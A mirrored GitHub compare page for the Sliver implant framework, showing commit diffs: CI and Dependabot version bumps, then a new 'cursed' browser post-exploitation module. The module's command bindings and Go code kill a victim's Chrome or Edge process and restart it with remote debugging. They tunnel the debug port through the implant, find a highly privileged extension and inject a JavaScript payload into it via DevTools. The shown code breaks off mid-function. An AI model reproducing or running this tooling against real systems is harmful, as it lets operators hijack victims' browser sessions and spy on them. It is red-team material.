mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 01:38:17 -10:00
Compare commits
114
Commits
moloch---patch-1
...
obfs
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
ba3ec022bb | ||
|
|
394ba431b2 | ||
|
|
cda6aeaee6 | ||
|
|
187f9e99ac | ||
|
|
1f6abf9be3 | ||
|
|
25a22054b7 | ||
|
|
64c5460545 | ||
|
|
76fb9dfc93 | ||
|
|
ccd3ed2250 | ||
|
|
fb5c6c0c88 | ||
|
|
11878069f6 | ||
|
|
3db3930091 | ||
|
|
9e6412c911 | ||
|
|
ade96fa281 | ||
|
|
3035d75882 | ||
|
|
4ed95375e0 | ||
|
|
9ee10c5321 | ||
|
|
3cc7be8a9f | ||
|
|
d411d2400c | ||
|
|
e31cafa81d | ||
|
|
80677e652b | ||
|
|
88abea26a7 | ||
|
|
120d537044 | ||
|
|
59781d4328 | ||
|
|
f117995aa1 | ||
|
|
e4793cf616 | ||
|
|
b68f4bffd3 | ||
|
|
22fea029ec | ||
|
|
b1db1ab614 | ||
|
|
40b99e860f | ||
|
|
56d143b018 | ||
|
|
327f7c6826 | ||
|
|
eb9506510e | ||
|
|
9c5aa26af9 | ||
|
|
f2b78748de | ||
|
|
891bb49f1a | ||
|
|
82d1728360 | ||
|
|
01b6a3c657 | ||
|
|
312f133f1e | ||
|
|
a141e1f689 | ||
|
|
a9a16aaa39 | ||
|
|
2c944db7ed | ||
|
|
b93f939ec5 | ||
|
|
ba07826d83 | ||
|
|
09fb3e0095 | ||
|
|
be9c34e1ef | ||
|
|
d5945898b3 | ||
|
|
7d8457d494 | ||
|
|
330ceea52f | ||
|
|
afe4fb04a3 | ||
|
|
e89a04f747 | ||
|
|
e8aae22d50 | ||
|
|
003f882be5 | ||
|
|
bb2a56d469 | ||
|
|
bb36fb6850 | ||
|
|
dd31ae253c | ||
|
|
307b1998a1 | ||
|
|
381e131438 | ||
|
|
c9898b9854 | ||
|
|
9dd5dd9c93 | ||
|
|
01f2d0c9de | ||
|
|
fd1b873f75 | ||
|
|
bb51a9f1a6 | ||
|
|
f1d4a51e73 | ||
|
|
d003f5a4ac | ||
|
|
36277b9d46 | ||
|
|
c90988aba5 | ||
|
|
a6dca18cdc | ||
|
|
dd48b4b71d | ||
|
|
91e6ea5e05 | ||
|
|
3a8201c202 | ||
|
|
0c5f8a123b | ||
|
|
2ea605e915 | ||
|
|
583edd7a2f | ||
|
|
e03381994c | ||
|
|
536ac4dd0f | ||
|
|
651941844a | ||
|
|
88a5b3a01c | ||
|
|
4c67157f48 | ||
|
|
d02c421e9e | ||
|
|
157b84ee5b | ||
|
|
b5f25e14ae | ||
|
|
4c9f701e0f | ||
|
|
336068cdf3 | ||
|
|
2b9b4eb5f3 | ||
|
|
e13faf9682 | ||
|
|
044688ace4 | ||
|
|
7e633962ce | ||
|
|
7911450862 | ||
|
|
519ef88866 | ||
|
|
823e22e120 | ||
|
|
94d672619b | ||
|
|
29f5a17339 | ||
|
|
d71c45223f | ||
|
|
2578513ae3 | ||
|
|
552a824e1b | ||
|
|
5a352de056 | ||
|
|
33e5525136 | ||
|
|
756bb7749e | ||
|
|
6233d2fbe7 | ||
|
|
729449b653 | ||
|
|
f1030ebaa4 | ||
|
|
7a962ae120 | ||
|
|
39da957b7c | ||
|
|
c230ce0b2e | ||
|
|
8b44024672 | ||
|
|
f8b17891d1 | ||
|
|
4ffb75fa15 | ||
|
|
f9bc1a7bd3 | ||
|
|
867ac37f1f | ||
|
|
04a7148ab7 | ||
|
|
010025645b | ||
|
|
a29135770f | ||
|
|
8de0eaff13 |
No files matched your search
@@ -0,0 +1,16 @@
|
||||
# Basic set up for three package managers
|
||||
|
||||
version: 2
|
||||
updates:
|
||||
|
||||
# Maintain dependencies for GitHub Actions
|
||||
- package-ecosystem: "github-actions"
|
||||
directory: "/"
|
||||
schedule:
|
||||
interval: "weekly"
|
||||
|
||||
# Maintain dependencies for go
|
||||
- package-ecosystem: "gomod"
|
||||
directory: "/"
|
||||
schedule:
|
||||
interval: "weekly"
|
||||
@@ -15,9 +15,9 @@ jobs:
|
||||
steps:
|
||||
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: '1.18.5'
|
||||
go-version: '1.18.6'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -26,7 +26,7 @@ jobs:
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v2
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
@@ -40,7 +40,7 @@ jobs:
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make linux
|
||||
|
||||
- name: Linux Artifacts
|
||||
uses: actions/upload-artifact@v2
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: linux
|
||||
path: ./sliver-*
|
||||
@@ -53,7 +53,7 @@ jobs:
|
||||
export PATH=/home/runner/go/bin/:$PATH && make windows
|
||||
|
||||
- name: Windows Artifacts
|
||||
uses: actions/upload-artifact@v2
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: windows
|
||||
path: ./sliver-*
|
||||
@@ -66,15 +66,15 @@ jobs:
|
||||
steps:
|
||||
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: '1.18.5'
|
||||
go-version: '1.18.6'
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v2
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
@@ -93,7 +93,7 @@ jobs:
|
||||
run: make macos-arm64
|
||||
|
||||
- name: MacOS Artifacts
|
||||
uses: actions/upload-artifact@v2
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: macos
|
||||
path: ./sliver-*
|
||||
@@ -110,7 +110,7 @@ jobs:
|
||||
steps:
|
||||
|
||||
- run: mkdir -p ./builds
|
||||
- uses: actions/download-artifact@v2
|
||||
- uses: actions/download-artifact@v3
|
||||
with:
|
||||
path: ./builds
|
||||
|
||||
|
||||
@@ -18,12 +18,12 @@ jobs:
|
||||
steps:
|
||||
# Setup go environment
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "1.18.5"
|
||||
go-version: "1.18.6"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v2
|
||||
uses: actions/checkout@v3
|
||||
with:
|
||||
# Must fetch at least the immediate parents so that if this is
|
||||
# a pull request then we can checkout the head of the pull request.
|
||||
@@ -55,14 +55,14 @@ jobs:
|
||||
&& make install
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v2
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
# Initializes the CodeQL tools for scanning.
|
||||
- name: Initialize CodeQL
|
||||
uses: github/codeql-action/init@v1
|
||||
uses: github/codeql-action/init@v2
|
||||
with:
|
||||
config-file: ./.github/codeql/codeql-config.yml
|
||||
languages: go
|
||||
@@ -72,6 +72,6 @@ jobs:
|
||||
make
|
||||
|
||||
- name: Perform CodeQL Analysis
|
||||
uses: github/codeql-action/analyze@v1
|
||||
uses: github/codeql-action/analyze@v2
|
||||
env:
|
||||
VERSION: ${{github.sha}}
|
||||
@@ -21,9 +21,9 @@ jobs:
|
||||
steps:
|
||||
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: '1.18.5'
|
||||
go-version: '1.18.6'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -32,7 +32,7 @@ jobs:
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v2
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
@@ -56,15 +56,15 @@ jobs:
|
||||
steps:
|
||||
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: '1.18.5'
|
||||
go-version: '1.18.6'
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v2
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.18.5
|
||||
FROM golang:1.18.6
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
GO ?= go
|
||||
ARTIFACT_SUFFIX ?=
|
||||
ENV =
|
||||
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
|
||||
TAGS ?= -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
|
||||
|
||||
|
||||
#
|
||||
|
||||
+156
-1
@@ -42,6 +42,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/backdoor"
|
||||
"github.com/bishopfox/sliver/client/command/beacons"
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/cursed"
|
||||
"github.com/bishopfox/sliver/client/command/dllhijack"
|
||||
"github.com/bishopfox/sliver/client/command/environment"
|
||||
"github.com/bishopfox/sliver/client/command/exec"
|
||||
@@ -716,6 +717,28 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
tasksCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CancelStr,
|
||||
Help: "Cancel a pending beacon task",
|
||||
LongHelp: help.GetHelpFor([]string{consts.TasksStr, consts.CancelStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
|
||||
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
|
||||
f.String("f", "filter", "", "filter based on task type (case-insensitive prefix matching)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("id", "beacon task ID", grumble.Default(""))
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
tasks.TasksCancelCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
con.App.AddCommand(tasksCmd)
|
||||
|
||||
// [ Use ] --------------------------------------------------------------
|
||||
@@ -3298,6 +3321,138 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("r", "range", "sliver", "Agents range")
|
||||
},
|
||||
})
|
||||
|
||||
con.App.AddCommand(operatorCmd)
|
||||
|
||||
// [ Curse Commands ] ------------------------------------------------------------
|
||||
|
||||
cursedCmd := &grumble.Command{
|
||||
Name: consts.Cursed,
|
||||
Help: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
}
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RmStr,
|
||||
Help: "Remove a Curse from a process",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("k", "kill", false, "kill the process after removing the curse")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.Int("bind-port", "bind port of the Cursed process to stop")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedRmCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CursedConsole,
|
||||
Help: "Start a JavaScript console connected to a debug target",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedConsoleCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CursedChrome,
|
||||
Help: "Automatically inject a Cursed Chrome payload into a remote Chrome extension",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
|
||||
f.Bool("R", "restore", true, "restore the user's session after process termination")
|
||||
f.String("e", "exe", "", "chrome/chromium browser executable path (blank string = auto)")
|
||||
f.String("u", "user-data", "", "user data directory (blank string = auto)")
|
||||
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedChromeCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CursedEdge,
|
||||
Help: "Automatically inject a Cursed Chrome payload into a remote Edge extension",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
|
||||
f.Bool("R", "restore", true, "restore the user's session after process termination")
|
||||
f.String("e", "exe", "", "edge browser executable path (blank string = auto)")
|
||||
f.String("u", "user-data", "", "user data directory (blank string = auto)")
|
||||
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedEdgeCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.ScreenshotStr,
|
||||
Help: "Take a screenshot of a cursed process debug target",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.ScreenshotStr}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int64("q", "quality", 100, "screenshot quality (1 - 100)")
|
||||
f.String("s", "save", "", "save to file")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedScreenshotCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CursedElectron,
|
||||
Help: "Curse a remote Electron application",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("e", "exe", "", "remote electron executable absolute path")
|
||||
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedElectronCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
con.App.AddCommand(cursedCmd)
|
||||
}
|
||||
@@ -0,0 +1,3 @@
|
||||
# Cursed
|
||||
|
||||
Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).
|
||||
@@ -0,0 +1,425 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
insecureRand "math/rand"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/client/tcpproxy"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
var (
|
||||
ErrUserDataDirNotFound = errors.New("could not find Chrome user data dir")
|
||||
ErrChromeExecutableNotFound = errors.New("could not find Chrome executable")
|
||||
ErrUnsupportedOS = errors.New("unsupported OS")
|
||||
|
||||
windowsDriveLetters = []string{"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
|
||||
|
||||
cursedChromePermissions = []string{overlord.AllURLs, overlord.WebRequest, overlord.WebRequestBlocking}
|
||||
cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
|
||||
)
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory
|
||||
func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
payloadPath := ctx.Flags.String("payload")
|
||||
var payload []byte
|
||||
var err error
|
||||
if payloadPath != "" {
|
||||
payload, err = ioutil.ReadFile(payloadPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not read payload file: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
curse := avadaKedavraChrome(session, ctx, con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
if payloadPath == "" {
|
||||
con.PrintWarnf("No Cursed Chrome payload was specified, skipping payload injection.\n")
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Searching for Chrome extension with all permissions ... ")
|
||||
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// There is one alternative set of permissions that we can use if we don't find an extension
|
||||
// with all the proper permissions.
|
||||
if chromeExt == nil {
|
||||
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if chromeExt != nil {
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
|
||||
con.PrintInfof("Injecting payload ... ")
|
||||
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
|
||||
// defer cancel()
|
||||
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
} else {
|
||||
con.Printf("failure!\n")
|
||||
con.PrintInfof("No viable Chrome extensions were found ☹️\n")
|
||||
}
|
||||
}
|
||||
|
||||
func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
chromeProcess, err := getChromeProcess(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if chromeProcess != nil {
|
||||
con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
|
||||
con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
|
||||
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if !confirm {
|
||||
con.PrintErrorf("User cancel\n")
|
||||
return nil
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: chromeProcess.GetPid(),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
|
||||
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
curse, err := startCursedChromeProcess(false, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
return curse
|
||||
}
|
||||
|
||||
func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
|
||||
name := "Chrome"
|
||||
if isEdge {
|
||||
name = "Edge"
|
||||
}
|
||||
|
||||
con.PrintInfof("Finding %s executable path ... ", name)
|
||||
chromeExePath, err := findChromeExecutablePath(isEdge, session, ctx, con)
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Finding %s user data directory ... ", name)
|
||||
chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, ctx, con)
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
|
||||
con.PrintInfof("Starting %s process ... ", name)
|
||||
debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
|
||||
args := []string{
|
||||
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
|
||||
}
|
||||
if chromeUserDataDir != "" {
|
||||
args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
|
||||
}
|
||||
if ctx.Flags.Bool("restore") {
|
||||
args = append(args, "--restore-last-session")
|
||||
}
|
||||
|
||||
// Execute the Chrome process with the extra flags
|
||||
// TODO: PPID spoofing, etc.
|
||||
chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: chromeExePath,
|
||||
Args: args,
|
||||
Output: false,
|
||||
})
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("(pid: %d) success!\n", chromeExec.GetPid())
|
||||
|
||||
con.PrintInfof("Waiting for %s process to initialize ... ", name)
|
||||
time.Sleep(2 * time.Second)
|
||||
|
||||
bindPort := insecureRand.Intn(10000) + 40000
|
||||
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
|
||||
|
||||
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
|
||||
|
||||
tcpProxy := &tcpproxy.Proxy{}
|
||||
channelProxy := &core.ChannelProxy{
|
||||
Rpc: con.Rpc,
|
||||
Session: session,
|
||||
RemoteAddr: remoteAddr,
|
||||
BindAddr: bindAddr,
|
||||
KeepAlivePeriod: 60 * time.Second,
|
||||
DialTimeout: 30 * time.Second,
|
||||
}
|
||||
tcpProxy.AddRoute(bindAddr, channelProxy)
|
||||
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
|
||||
|
||||
curse := &core.CursedProcess{
|
||||
SessionID: session.ID,
|
||||
PID: chromeExec.GetPid(),
|
||||
PortFwd: portFwd,
|
||||
BindTCPPort: bindPort,
|
||||
Platform: session.GetOS(),
|
||||
ExePath: chromeExePath,
|
||||
ChromeUserDataDir: chromeUserDataDir,
|
||||
}
|
||||
core.CursedProcesses.Store(bindPort, curse)
|
||||
go func() {
|
||||
err := tcpProxy.Run()
|
||||
if err != nil {
|
||||
log.Printf("Proxy error %s", err)
|
||||
}
|
||||
core.CursedProcesses.Delete(bindPort)
|
||||
}()
|
||||
|
||||
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
|
||||
|
||||
return curse, nil
|
||||
}
|
||||
|
||||
func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
|
||||
userDataFlag := ctx.Flags.String("user-data")
|
||||
if userDataFlag != "" {
|
||||
return userDataFlag, nil
|
||||
}
|
||||
|
||||
switch session.GetOS() {
|
||||
|
||||
case "windows":
|
||||
username := session.GetUsername()
|
||||
if strings.Contains(username, "\\") {
|
||||
username = strings.Split(username, "\\")[1]
|
||||
}
|
||||
for _, driveLetter := range windowsDriveLetters {
|
||||
userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username)
|
||||
if isEdge {
|
||||
userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
|
||||
}
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: userDataDir,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return userDataDir, nil
|
||||
}
|
||||
}
|
||||
return "", ErrUserDataDirNotFound
|
||||
|
||||
case "darwin":
|
||||
userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username)
|
||||
if isEdge {
|
||||
userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
|
||||
}
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: userDataDir,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return userDataDir, nil
|
||||
}
|
||||
return "", ErrUserDataDirNotFound
|
||||
|
||||
default:
|
||||
return "", ErrUnsupportedOS
|
||||
}
|
||||
}
|
||||
|
||||
func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
|
||||
exeFlag := ctx.Flags.String("exe")
|
||||
if exeFlag != "" {
|
||||
return exeFlag, nil
|
||||
}
|
||||
|
||||
switch session.GetOS() {
|
||||
|
||||
case "windows":
|
||||
chromeWindowsPaths := []string{
|
||||
"[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe",
|
||||
}
|
||||
if isEdge {
|
||||
chromeWindowsPaths = []string{
|
||||
"[DRIVE]:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
|
||||
